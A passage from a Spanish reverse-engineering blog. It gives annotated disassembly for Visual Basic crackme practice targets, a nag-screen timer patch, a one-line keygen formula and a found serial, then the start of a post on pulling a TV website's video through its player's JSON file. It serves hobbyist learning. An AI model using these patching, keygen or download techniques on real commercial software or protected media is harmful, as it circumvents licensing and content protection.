00404C25    8D95 B4FDFFFF   LEA EDX,[EBP-24C]
00404C2B    8D85 C4FDFFFF   LEA EAX,[EBP-23C]
00404C31    52              PUSH EDX
00404C32    50              PUSH EAX
00404C33    FF15 B0914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarDiv>]
   |
    ->MSVBVM50.__vbaVarDiv
	741C8094    DD43 08         FLD QWORD PTR DS:[EBX+8]              ; Recupera el resultado de las multiplicaciones anteriores
	741C8097    0FBF47 08       MOVSX EAX,WORD PTR DS:[EDI+8]         ; EAX = 1729 (6C1)
	741C809B    8945 F8         MOV DWORD PTR SS:[EBP-8],EAX
	741C809E    DA75 F8         FIDIV DWORD PTR SS:[EBP-8]

00404C39    8BD0            MOV EDX,EAX
........
00404CA0    FF15 3C914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaLenBstr>]  ;Len(nombre)
........
00404CF1    FF15 B0914000   CALL DWORD PTR DS:[<&MSVBVM50.__vbaVarDiv>]   ;Resultado anterior / Len(nombre)

En resumen:

  • Pasa nuestro nombre a minúsculas.
  • Obtiene el valor ascii de los 6 primeros dígitos del nombre.
  • Los multiplica entre sí y divide el resultado acumulado entre 1729 (6C1).
  • Divide el resultado anterior entre el tamaño del nombre.

Ejemplo para deurus

64*65*75*72*75*73 = 1A605D70EB8
1A605D70EB8 / 6C1 = 3E7C594A
3E7C594A / 6 = A6A0EE2

CrkViz-5

11-03-2015 23-23-16

Este último crackme está compilado en código nativo y simplemente se trata de una comparación lineal. La única diferencia reside en que no hay botón de registro, la comprobación la gestiona un evento «On Change«, de modo que está comprobando el tamaño del serial que introducimos y cuando éste tiene 8 dígitos llegamos aquí.

........
0040A64F         .  C745 9C CDD4DD02    MOV DWORD PTR SS:[EBP-64],2DDD4CD      ;2DDD4CD = 48092365
0040A656         .  C745 94 03800000    MOV DWORD PTR SS:[EBP-6C],8003
0040A65D         .  FF15 08C14000       CALL DWORD PTR DS:[<&MSVBVM50.__vbaVa> ;MSVBVM50.__vbaVarTstEq
0040A663         .  66:85C0             TEST AX,AX
0040A666         .  0F84 BA000000       JE CrkMeViZ.0040A726                   ;Si salta BAD  BOY
........

Luego el serial correcto es 48092365.

Notas finales

¿Ha sido indoloro no?, claro que sí, Visual Basic es un coñazo de tracear pero hay que reconocer que con el tiempo las herramientas han mejorado mucho y nuestra vida es mucho más sencilla. Bueno, pués esto ha sido todo, como siempre os dejo todo el material utilizado y un Keygen.

12-03-2015 23-06-33

Enlaces

Intro

Hoy vamos a desmitificar un poco a Visual Basic. El Crackme reza que acabemos con la nag y hagamos un keygen.

La NAG

formnag

Lo primero que debemos establecer es a que tipo de Nag nos estamos enfrentando, si es una MessageBox, se localiza y se parchea, si es un formulario la cosa ya cambia un poco, ya que encontrar esa parte del código puede resultar tedioso.

Yo voy a utilizar el camino fácil. En VB contamos con una estupenda herramienta como es VBReformer, que nos muestra las entrañas del crackme y nos posibilita cambiar ciertos parametros.

Abrimos el crackme con VBReformer y vemos su contenido. Localizamos rápidamente el formulario que aparece inicialmente (CMSplash) y el temporizador que contiene (Timer1). Inicialmente el timer tiene un interval de 7000, es decir, la nag se muestra durante 7 segundos. Es tan sencillo como cambiarlo por 1 y guardar el ejecutable (File > Save binary as).

parcheform

Si no disponemos de esta estupenda herramienta, siempre podemos localizar el timer con un editor hexadecimal. Localizamos en Olly el nombre del timer (en las string references lo veréis), y lo buscamos en el editor hexadecimal. La duración de la nag la debemos estimar nosotros y a continuación buscar ese valor hexadecimal. Imaginemos que estimamos que son 7 segundos, lo pasamos a milisegundos y a hexadecimal. 7000 = 0x1B58. Buscamos en el editor hexadecimal «Timer1» y a continuación localizamos el valor 1B58 invertido, es decir, 581B. En las imágenes inferiores se ve claro.

hextimer1original

hextimer1parcheado

Cambiando el valor ya lo tendriámos.

El algoritmo

El algoritmo de este crackme es muy sencillo pero he elegido este en concreto para que veáis las vueltas que da VB para hacer 6 operaciones matemáticas. A continuación tenéis el código íntegro comentado y debajo el resumen.

004081F5      .  FF15 F8B04000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaLenBstr>]    ;  MSVBVM50.__vbaLenBstr
004081FB      .  8BF8                     MOV EDI,EAX
004081FD      .  8B4D E8                  MOV ECX,DWORD PTR SS:[EBP-18]
00408200      .  69FF 385B0100            IMUL EDI,EDI,15B38                              ;  TEMP = Len(nombre) *15B38
00408206      .  51                       PUSH ECX
00408207      .  0F80 B7050000            JO CrackmeV.004087C4
0040820D      .  FF15 0CB14000            CALL DWORD PTR DS:[<&MSVBVM50.#516>]            ;  MSVBVM50.rtcAnsiValueBstr
00408213      .  0FBFD0                   MOVSX EDX,AX                                    ;  digito a ax
00408216      .  03FA                     ADD EDI,EDX                                     ;  TEMP +=1digito
00408218      .  0F80 A6050000            JO CrackmeV.004087C4
0040821E      .  57                       PUSH EDI                                        ;  MSVBVM50.__vbaObjSet
0040821F      .  FF15 F4B04000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaStrI4>]      ;  MSVBVM50.__vbaStrI4
00408225      .  8BD0                     MOV EDX,EAX
00408227      .  8D4D E0                  LEA ECX,DWORD PTR SS:[EBP-20]
0040822A      .  FF15 94B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaStrMove>]    ;  MSVBVM50.__vbaStrMove
00408230      .  8BBD 50FFFFFF            MOV EDI,DWORD PTR SS:[EBP-B0]
00408236      .  50                       PUSH EAX
00408237      .  57                       PUSH EDI                                        ;  MSVBVM50.__vbaObjSet
00408238      .  FF93 A4000000            CALL DWORD PTR DS:[EBX+A4]                      ;  MSVBVM50.0F050D32
0040823E      .  85C0                     TEST EAX,EAX
00408240      .  7D 12                    JGE SHORT CrackmeV.00408254
00408242      .  68 A4000000              PUSH 0A4
00408247      .  68 AC6F4000              PUSH CrackmeV.00406FAC
0040824C      .  57                       PUSH EDI                                        ;  MSVBVM50.__vbaObjSet
0040824D      .  50                       PUSH EAX
0040824E      .  FF15 18B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaHresultCheck>;  MSVBVM50.__vbaHresultCheckObj
00408254      >  8D45 E0                  LEA EAX,DWORD PTR SS:[EBP-20]
00408257      .  8D4D E4                  LEA ECX,DWORD PTR SS:[EBP-1C]
0040825A      .  50                       PUSH EAX
0040825B      .  8D55 E8                  LEA EDX,DWORD PTR SS:[EBP-18]
0040825E      .  51                       PUSH ECX
0040825F      .  52                       PUSH EDX
00408260      .  6A 03                    PUSH 3
00408262      .  FF15 80B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaFreeStrList>>;  MSVBVM50.__vbaFreeStrList
00408268      .  83C4 10                  ADD ESP,10
0040826B      .  8D45 D4                  LEA EAX,DWORD PTR SS:[EBP-2C]
0040826E      .  8D4D D8                  LEA ECX,DWORD PTR SS:[EBP-28]
00408271      .  8D55 DC                  LEA EDX,DWORD PTR SS:[EBP-24]
00408274      .  50                       PUSH EAX
00408275      .  51                       PUSH ECX
00408276      .  52                       PUSH EDX
00408277      .  6A 03                    PUSH 3
00408279      .  FF15 08B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaFreeObjList>>;  MSVBVM50.__vbaFreeObjList
0040827F      .  8B9D 40FFFFFF            MOV EBX,DWORD PTR SS:[EBP-C0]                   ;  CrackmeV.00409A68
00408285      .  83C4 10                  ADD ESP,10
00408288      .  8B83 FC020000            MOV EAX,DWORD PTR DS:[EBX+2FC]
0040828E      .  56                       PUSH ESI
0040828F      .  8985 38FFFFFF            MOV DWORD PTR SS:[EBP-C8],EAX
00408295      .  FFD0                     CALL EAX
00408297      .  8B3D 20B14000            MOV EDI,DWORD PTR DS:[<&MSVBVM50.__vbaObjSet>]  ;  MSVBVM50.__vbaObjSet
0040829D      .  50                       PUSH EAX
0040829E      .  8D45 D8                  LEA EAX,DWORD PTR SS:[EBP-28]
004082A1      .  50                       PUSH EAX
004082A2      .  FFD7                     CALL EDI                                        ;  MSVBVM50.__vbaObjSet; <&MSVBVM50.__vbaObjSet>
004082A4      .  56                       PUSH ESI
004082A5      .  8985 58FFFFFF            MOV DWORD PTR SS:[EBP-A8],EAX
004082AB      .  FF93 08030000            CALL DWORD PTR DS:[EBX+308]
004082B1      .  8D4D DC                  LEA ECX,DWORD PTR SS:[EBP-24]
004082B4      .  50                       PUSH EAX
004082B5      .  51                       PUSH ECX
004082B6      .  FFD7                     CALL EDI                                        ;  MSVBVM50.__vbaObjSet
004082B8      .  8BD8                     MOV EBX,EAX
004082BA      .  8D45 E8                  LEA EAX,DWORD PTR SS:[EBP-18]
004082BD      .  50                       PUSH EAX
004082BE      .  53                       PUSH EBX
004082BF      .  8B13                     MOV EDX,DWORD PTR DS:[EBX]                      ;  MSVBVM50.0F025A95
004082C1      .  FF92 A0000000            CALL DWORD PTR DS:[EDX+A0]
004082C7      .  85C0                     TEST EAX,EAX
004082C9      .  7D 12                    JGE SHORT CrackmeV.004082DD
004082CB      .  68 A0000000              PUSH 0A0
004082D0      .  68 AC6F4000              PUSH CrackmeV.00406FAC
004082D5      .  53                       PUSH EBX
004082D6      .  50                       PUSH EAX
004082D7      .  FF15 18B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaHresultCheck>;  MSVBVM50.__vbaHresultCheckObj
004082DD      >  8B8D 58FFFFFF            MOV ECX,DWORD PTR SS:[EBP-A8]
004082E3      .  8B55 E8                  MOV EDX,DWORD PTR SS:[EBP-18]
004082E6      .  52                       PUSH EDX
004082E7      .  8B19                     MOV EBX,DWORD PTR DS:[ECX]
004082E9      .  FF15 74B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaR8Str>]      ;  MSVBVM50.__vbaR8Str
004082EF      .  D905 08104000            FLD DWORD PTR DS:[401008]
004082F5      .  833D 00904000 00         CMP DWORD PTR DS:[409000],0
004082FC      .  75 08                    JNZ SHORT CrackmeV.00408306
004082FE      .  D835 0C104000            FDIV DWORD PTR DS:[40100C]                      ;  10 / 5 = 2
00408304      .  EB 0B                    JMP SHORT CrackmeV.00408311
00408306      >  FF35 0C104000            PUSH DWORD PTR DS:[40100C]
0040830C      .  E8 578DFFFF              CALL <JMP.&MSVBVM50._adj_fdiv_m32>
00408311      >  83EC 08                  SUB ESP,8
00408314      .  DFE0                     FSTSW AX
00408316      .  A8 0D                    TEST AL,0D
00408318      .  0F85 A1040000            JNZ CrackmeV.004087BF
0040831E      .  DEC1                     FADDP ST(1),ST                                  ;  TEMP +=2
00408320      .  DFE0                     FSTSW AX
00408322      .  A8 0D                    TEST AL,0D
00408324      .  0F85 95040000            JNZ CrackmeV.004087BF
0040832A      .  DD1C24                   FSTP QWORD PTR SS:[ESP]
0040832D      .  FF15 48B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaStrR8>]      ;  MSVBVM50.__vbaStrR8
00408333      .  8BD0                     MOV EDX,EAX
00408335      .  8D4D E4                  LEA ECX,DWORD PTR SS:[EBP-1C]
00408338      .  FF15 94B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaStrMove>]    ;  MSVBVM50.__vbaStrMove
0040833E      .  899D 34FFFFFF            MOV DWORD PTR SS:[EBP-CC],EBX
00408344      .  8B9D 58FFFFFF            MOV EBX,DWORD PTR SS:[EBP-A8]
0040834A      .  50                       PUSH EAX
0040834B      .  8B85 34FFFFFF            MOV EAX,DWORD PTR SS:[EBP-CC]
00408351      .  53                       PUSH EBX
00408352      .  FF90 A4000000            CALL DWORD PTR DS:[EAX+A4]
00408358      .  85C0                     TEST EAX,EAX
0040835A      .  7D 12                    JGE SHORT CrackmeV.0040836E
0040835C      .  68 A4000000              PUSH 0A4
00408361      .  68 AC6F4000              PUSH CrackmeV.00406FAC
00408366      .  53                       PUSH EBX
00408367      .  50                       PUSH EAX
00408368      .  FF15 18B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaHresultCheck>;  MSVBVM50.__vbaHresultCheckObj
0040836E      >  8D4D E4                  LEA ECX,DWORD PTR SS:[EBP-1C]
00408371      .  8D55 E8                  LEA EDX,DWORD PTR SS:[EBP-18]
00408374      .  51                       PUSH ECX
00408375      .  52                       PUSH EDX
00408376      .  6A 02                    PUSH 2
00408378      .  FF15 80B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaFreeStrList>>;  MSVBVM50.__vbaFreeStrList
0040837E      .  83C4 0C                  ADD ESP,0C
00408381      .  8D45 D8                  LEA EAX,DWORD PTR SS:[EBP-28]
00408384      .  8D4D DC                  LEA ECX,DWORD PTR SS:[EBP-24]
00408387      .  50                       PUSH EAX
00408388      .  51                       PUSH ECX
00408389      .  6A 02                    PUSH 2
0040838B      .  FF15 08B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaFreeObjList>>;  MSVBVM50.__vbaFreeObjList
00408391      .  8B95 40FFFFFF            MOV EDX,DWORD PTR SS:[EBP-C0]                   ;  CrackmeV.00409A68
00408397      .  83C4 0C                  ADD ESP,0C
0040839A      .  8B82 00030000            MOV EAX,DWORD PTR DS:[EDX+300]
004083A0      .  56                       PUSH ESI
004083A1      .  8985 30FFFFFF            MOV DWORD PTR SS:[EBP-D0],EAX
004083A7      .  FFD0                     CALL EAX
004083A9      .  50                       PUSH EAX
004083AA      .  8D45 D8                  LEA EAX,DWORD PTR SS:[EBP-28]
004083AD      .  50                       PUSH EAX
004083AE      .  FFD7                     CALL EDI                                        ;  MSVBVM50.__vbaObjSet
004083B0      .  56                       PUSH ESI
004083B1      .  8985 58FFFFFF            MOV DWORD PTR SS:[EBP-A8],EAX
004083B7      .  FF95 38FFFFFF            CALL DWORD PTR SS:[EBP-C8]                      ;  MSVBVM50.0F10C340
004083BD      .  8D4D DC                  LEA ECX,DWORD PTR SS:[EBP-24]
004083C0      .  50                       PUSH EAX
004083C1      .  51                       PUSH ECX
004083C2      .  FFD7                     CALL EDI                                        ;  MSVBVM50.__vbaObjSet
004083C4      .  8BD8                     MOV EBX,EAX
004083C6      .  8D45 E8                  LEA EAX,DWORD PTR SS:[EBP-18]
004083C9      .  50                       PUSH EAX
004083CA      .  53                       PUSH EBX
004083CB      .  8B13                     MOV EDX,DWORD PTR DS:[EBX]                      ;  MSVBVM50.0F025A95
004083CD      .  FF92 A0000000            CALL DWORD PTR DS:[EDX+A0]
004083D3      .  85C0                     TEST EAX,EAX
004083D5      .  7D 12                    JGE SHORT CrackmeV.004083E9
004083D7      .  68 A0000000              PUSH 0A0
004083DC      .  68 AC6F4000              PUSH CrackmeV.00406FAC
004083E1      .  53                       PUSH EBX
004083E2      .  50                       PUSH EAX
004083E3      .  FF15 18B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaHresultCheck>;  MSVBVM50.__vbaHresultCheckObj
004083E9      >  8B8D 58FFFFFF            MOV ECX,DWORD PTR SS:[EBP-A8]
004083EF      .  8B55 E8                  MOV EDX,DWORD PTR SS:[EBP-18]
004083F2      .  52                       PUSH EDX
004083F3      .  8B19                     MOV EBX,DWORD PTR DS:[ECX]
004083F5      .  FF15 74B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaR8Str>]      ;  MSVBVM50.__vbaR8Str
004083FB      .  DC0D 10104000            FMUL QWORD PTR DS:[401010]                      ;  *3
00408401      .  83EC 08                  SUB ESP,8                                       ;  -2
00408404      .  DC25 18104000            FSUB QWORD PTR DS:[401018]
0040840A      .  DFE0                     FSTSW AX
0040840C      .  A8 0D                    TEST AL,0D
0040840E      .  0F85 AB030000            JNZ CrackmeV.004087BF
00408414      .  DD1C24                   FSTP QWORD PTR SS:[ESP]
00408417      .  FF15 48B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaStrR8>]      ;  MSVBVM50.__vbaStrR8
0040841D      .  8BD0                     MOV EDX,EAX
0040841F      .  8D4D E4                  LEA ECX,DWORD PTR SS:[EBP-1C]
00408422      .  FF15 94B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaStrMove>]    ;  MSVBVM50.__vbaStrMove
00408428      .  899D 2CFFFFFF            MOV DWORD PTR SS:[EBP-D4],EBX
0040842E      .  8B9D 58FFFFFF            MOV EBX,DWORD PTR SS:[EBP-A8]
00408434      .  50                       PUSH EAX
00408435      .  8B85 2CFFFFFF            MOV EAX,DWORD PTR SS:[EBP-D4]
0040843B      .  53                       PUSH EBX
0040843C      .  FF90 A4000000            CALL DWORD PTR DS:[EAX+A4]
00408442      .  85C0                     TEST EAX,EAX
00408444      .  7D 12                    JGE SHORT CrackmeV.00408458
00408446      .  68 A4000000              PUSH 0A4
0040844B      .  68 AC6F4000              PUSH CrackmeV.00406FAC
00408450      .  53                       PUSH EBX
00408451      .  50                       PUSH EAX
00408452      .  FF15 18B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaHresultCheck>;  MSVBVM50.__vbaHresultCheckObj
00408458      >  8D4D E4                  LEA ECX,DWORD PTR SS:[EBP-1C]
0040845B      .  8D55 E8                  LEA EDX,DWORD PTR SS:[EBP-18]
0040845E      .  51                       PUSH ECX
0040845F      .  52                       PUSH EDX
00408460      .  6A 02                    PUSH 2
00408462      .  FF15 80B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaFreeStrList>>;  MSVBVM50.__vbaFreeStrList
00408468      .  83C4 0C                  ADD ESP,0C
0040846B      .  8D45 D8                  LEA EAX,DWORD PTR SS:[EBP-28]
0040846E      .  8D4D DC                  LEA ECX,DWORD PTR SS:[EBP-24]
00408471      .  50                       PUSH EAX
00408472      .  51                       PUSH ECX
00408473      .  6A 02                    PUSH 2
00408475      .  FF15 08B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaFreeObjList>>;  MSVBVM50.__vbaFreeObjList
0040847B      .  8B95 40FFFFFF            MOV EDX,DWORD PTR SS:[EBP-C0]                   ;  CrackmeV.00409A68
00408481      .  83C4 0C                  ADD ESP,0C
00408484      .  8B82 04030000            MOV EAX,DWORD PTR DS:[EDX+304]
0040848A      .  56                       PUSH ESI
0040848B      .  8985 28FFFFFF            MOV DWORD PTR SS:[EBP-D8],EAX
00408491      .  FFD0                     CALL EAX
00408493      .  50                       PUSH EAX
00408494      .  8D45 D8                  LEA EAX,DWORD PTR SS:[EBP-28]
00408497      .  50                       PUSH EAX
00408498      .  FFD7                     CALL EDI                                        ;  MSVBVM50.__vbaObjSet
0040849A      .  56                       PUSH ESI
0040849B      .  8985 58FFFFFF            MOV DWORD PTR SS:[EBP-A8],EAX
004084A1      .  FF95 30FFFFFF            CALL DWORD PTR SS:[EBP-D0]                      ;  MSVBVM50.0F10C348
004084A7      .  8D4D DC                  LEA ECX,DWORD PTR SS:[EBP-24]
004084AA      .  50                       PUSH EAX
004084AB      .  51                       PUSH ECX
004084AC      .  FFD7                     CALL EDI                                        ;  MSVBVM50.__vbaObjSet
004084AE      .  8BD8                     MOV EBX,EAX
004084B0      .  8D45 E8                  LEA EAX,DWORD PTR SS:[EBP-18]
004084B3      .  50                       PUSH EAX
004084B4      .  53                       PUSH EBX
004084B5      .  8B13                     MOV EDX,DWORD PTR DS:[EBX]                      ;  MSVBVM50.0F025A95
004084B7      .  FF92 A0000000            CALL DWORD PTR DS:[EDX+A0]
004084BD      .  85C0                     TEST EAX,EAX
004084BF      .  7D 12                    JGE SHORT CrackmeV.004084D3
004084C1      .  68 A0000000              PUSH 0A0
004084C6      .  68 AC6F4000              PUSH CrackmeV.00406FAC
004084CB      .  53                       PUSH EBX
004084CC      .  50                       PUSH EAX
004084CD      .  FF15 18B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaHresultCheck>;  MSVBVM50.__vbaHresultCheckObj
004084D3      >  8B8D 58FFFFFF            MOV ECX,DWORD PTR SS:[EBP-A8]
004084D9      .  8B55 E8                  MOV EDX,DWORD PTR SS:[EBP-18]
004084DC      .  52                       PUSH EDX
004084DD      .  8B19                     MOV EBX,DWORD PTR DS:[ECX]
004084DF      .  FF15 74B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaR8Str>]      ;  MSVBVM50.__vbaR8Str
004084E5      .  DC25 20104000            FSUB QWORD PTR DS:[401020]                      ;  TEMP -= -15
004084EB      .  83EC 08                  SUB ESP,8
004084EE      .  DFE0                     FSTSW AX
004084F0      .  A8 0D                    TEST AL,0D
004084F2      .  0F85 C7020000            JNZ CrackmeV.004087BF
........
00408677      . /74 62                    JE SHORT CrackmeV.004086DB
00408679      . |8B35 14B14000            MOV ESI,DWORD PTR DS:[<&MSVBVM50.__vbaStrCat>]  ;  MSVBVM50.__vbaStrCat
0040867F      . |68 C06F4000              PUSH CrackmeV.00406FC0                          ;  UNICODE "You Get It"
00408684      . |68 DC6F4000              PUSH CrackmeV.00406FDC                          ;  UNICODE "\r\n"
00408689      . |FFD6                     CALL ESI                                        ;  <&MSVBVM50.__vbaStrCat>
0040868B      . |8BD0                     MOV EDX,EAX
0040868D      . |8D4D E8                  LEA ECX,DWORD PTR SS:[EBP-18]
00408690      . |FF15 94B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaStrMove>]    ;  MSVBVM50.__vbaStrMove
00408696      . |50                       PUSH EAX
00408697      . |68 E86F4000              PUSH CrackmeV.00406FE8                          ;  UNICODE "KeyGen It Now"

Que se puede resumir en esto.

004081F5      .  FF15 F8B04000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaLenBstr>]    ;  MSVBVM50.__vbaLenBstr
004081FB      .  8BF8                     MOV EDI,EAX
004081FD      .  8B4D E8                  MOV ECX,DWORD PTR SS:[EBP-18]
00408200      .  69FF 385B0100            IMUL EDI,EDI,15B38                              ;  TEMP = Len(nombre) *15B38
00408206      .  51                       PUSH ECX
00408207      .  0F80 B7050000            JO CrackmeV.004087C4
0040820D      .  FF15 0CB14000            CALL DWORD PTR DS:[<&MSVBVM50.#516>]            ;  MSVBVM50.rtcAnsiValueBstr
00408213      .  0FBFD0                   MOVSX EDX,AX                                    ;  digito a ax
00408216      .  03FA                     ADD EDI,EDX                                     ;  TEMP +=1digito
00408218      .  0F80 A6050000            JO CrackmeV.004087C4
........
004082E9      .  FF15 74B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaR8Str>]      ;  MSVBVM50.__vbaR8Str
004082EF      .  D905 08104000            FLD DWORD PTR DS:[401008]
004082F5      .  833D 00904000 00         CMP DWORD PTR DS:[409000],0
004082FC      .  75 08                    JNZ SHORT CrackmeV.00408306
004082FE      .  D835 0C104000            FDIV DWORD PTR DS:[40100C]                      ;  10 / 5 = 2
00408304      .  EB 0B                    JMP SHORT CrackmeV.00408311
00408306      >  FF35 0C104000            PUSH DWORD PTR DS:[40100C]
0040830C      .  E8 578DFFFF              CALL <JMP.&MSVBVM50._adj_fdiv_m32>
00408311      >  83EC 08                  SUB ESP,8
00408314      .  DFE0                     FSTSW AX
00408316      .  A8 0D                    TEST AL,0D
00408318      .  0F85 A1040000            JNZ CrackmeV.004087BF
0040831E      .  DEC1                     FADDP ST(1),ST                                  ;  TEMP +=2
00408320      .  DFE0                     FSTSW AX
00408322      .  A8 0D                    TEST AL,0D
........
004083F5      .  FF15 74B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaR8Str>]      ;  MSVBVM50.__vbaR8Str
004083FB      .  DC0D 10104000            FMUL QWORD PTR DS:[401010]                      ;  TEMP *=3
00408401      .  83EC 08                  SUB ESP,8                                       ;  TEMP -=2
00408404      .  DC25 18104000            FSUB QWORD PTR DS:[401018]
0040840A      .  DFE0                     FSTSW AX
0040840C      .  A8 0D                    TEST AL,0D
........
004084DF      .  FF15 74B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaR8Str>]      ;  MSVBVM50.__vbaR8Str
004084E5      .  DC25 20104000            FSUB QWORD PTR DS:[401020]                      ;  TEMP -= -15
004084EB      .  83EC 08                  SUB ESP,8
004084EE      .  DFE0                     FSTSW AX
004084F0      .  A8 0D                    TEST AL,0D
004084F2      .  0F85 C7020000            JNZ CrackmeV.004087BF
........
00408677      . /74 62                    JE SHORT CrackmeV.004086DB
00408679      . |8B35 14B14000            MOV ESI,DWORD PTR DS:[<&MSVBVM50.__vbaStrCat>]  ;  MSVBVM50.__vbaStrCat
0040867F      . |68 C06F4000              PUSH CrackmeV.00406FC0                          ;  UNICODE "You Get It"
00408684      . |68 DC6F4000              PUSH CrackmeV.00406FDC                          ;  UNICODE "\r\n"
00408689      . |FFD6                     CALL ESI                                        ;  <&MSVBVM50.__vbaStrCat>
0040868B      . |8BD0                     MOV EDX,EAX
0040868D      . |8D4D E8                  LEA ECX,DWORD PTR SS:[EBP-18]
00408690      . |FF15 94B14000            CALL DWORD PTR DS:[<&MSVBVM50.__vbaStrMove>]    ;  MSVBVM50.__vbaStrMove
00408696      . |50                       PUSH EAX
00408697      . |68 E86F4000              PUSH CrackmeV.00406FE8                          ;  UNICODE "KeyGen It Now"

Y en esto:

TEMP = Len(nombre) *15B38
TEMP += 1ºdigitoascii
TEMP +=2
TEMP *=3
TEMP -=2
TEMP +=15

 Y el KeyGen nos ocupa una sola línea

txtserial.Text = (((((Len(txtnombre.Text) * 88888) + Asc(Mid(txtn.Text, 1, 1))) + 2) * 3) - 2) + 15

 Huevo de pascua (Easter egg)

Si nos fijamos en el VBReformer, en el formulario principal vemos muchas cajas de texto.

vbreformervistaproject

Las hacemos visibles, guardamos y ejecutamos haber que pasa.

textsvisibles

crackmebonus

Lo que pasa es que va guardando el resultado de las operaciones en ellas y en la de arriba concretamente está nuestro serial bueno, lo que nos hace poseedores de un KeyGen encubierto.

Links


La esperada cuarta entrega de La Jungla de Cristal se metió de lleno en el mundo de los Hackers. Cuando
https://www.youtube.com/watch?v=iOYAn4l4wco Lista de reproducción
Hace unos años cuando empecé a trastear con Android y animado por mi afición a la Ingeniería Inversa, decidí realizar
Intro Aquí tenemos un crackme clásico realizado en Visual C++. La única particularidad que tiene es que no muestra MessageBox

Hoy en día, la descarga de contenido multimedia de ciertas webs es imposible o muy difícil. En ciertos casos lo entiendo, exponer el contenido supone una pérdida de ingresos y eso es inaceptable. Las cadenas de TV son tema aparte, emiten contenido por varios medios y les gusta que lo veas y que lo compartas, eso sí, que lo compartas desde su plataforma, ya que lo que estás compartiendo es un enlace, no el vídeo.

Este caso es un caso intermedio entre una plataforma de pago que codifica sus contenidos y una web que nos permita descargar su contenido directamente.

Imaginemos que vemos un vídeo y queremos mandarlo por Whatsapp a nuestros amigos. Lo primero es echar un vistazo al código fuente de la web y localizar el código del reproductor web (player). Para esta tarea podemos ayudarnos de una extensión muy conocida para navegadores como es Firebug. Una vez instalada, la activamos con F12 y mediante el botón Inspect localizamos el player.

...    
<p itemprop="keywords" itemscope="itemscope" itemtype="http://schema.org/Text" class="antetitulo" lang="es">EL INTERMEDIO LE PILLA EN "EL TRONO"</p>
    <h1 class="title-new" itemprop="headline">Joaquín Reyes se mete en la piel de Juan Carlos I: "Soy tan campechano que podéis llamarme Juan Carlos Palote"</h1>
    <sumary class="entradilla" itemprop="description">
<p><p class="MsoNormal">Los reyes eméritos han celebrado sus bodas de esmeralda y
con motivo de tan señalada fecha, Juan Carlos I ha hecho un hueco en su
apretada agenda para concederle unos minutos a <a title="<b>El Intermedio</b>" href="http://www.lasexta.com/temas/el_intermedio-1" target="_blank"><b>El Intermedio</b></a>. Eso sí, en su
versión de <a title="<b>Joaquín Reyes</b>" href="http://www.lasexta.com/temas/joaquin_reyes-1" target="_blank"><b>Joaquín Reyes</b></a>.  <o:p></o:p></p>	</sumary>

	<div class="great-element-multimedia">
	    <section class="modVideo a3mod_player" data-mod="a3mod_player" data-model="/json/video/7/2017/05/15/591a08c1986b2810b31577c1.json">
	        <a itemprop="url" href="#" class="icon link-content" title="" data-mod-elem="icon">
	            <div class="wrap-img" role="banner">
	                <div itemprop="video" itemscope itemtype="http://schema.org/VideoObject">
	                    <picture>
	                        <!--[if IE 9]><video style="display: none;"><![endif]-->
	                        <source media="(max-width:520px)" srcset="http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/64.jpg" />
	                        <source media="(max-width:1023px)" srcset="http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/60.jpg" />
	                        <source media="(min-width:1024px)" srcset="http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/58.jpg" />
	                        <!--[if IE 9]></video><![endif]-->
								<img src="http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/58.jpg" alt="Joaquín Reyes, como el rey Juan Carlos I" title="Joaquín Reyes, como el rey Juan Carlos I" />
	                    </picture>
	                    <meta itemprop="description" content=""/>
	                    <meta itemprop="name" content=""/>
	                    <meta itemprop="thumbnailUrl" content="" />
	                    <meta itemprop="uploadDate" content=""/>
	                    <meta itemprop="url" content=""/>
	                    <meta itemprop="width" content=""/>
	                    <meta itemprop="height" content=""/>
	                </div>
	            </div>
	        </a>
	    </section>
	</div>
...

Si os fijáis bien, el reproductor hace referencia a un archivo json (591a08c1986b2810b31577c1.json), reconstruimos la url y miramos su contenido

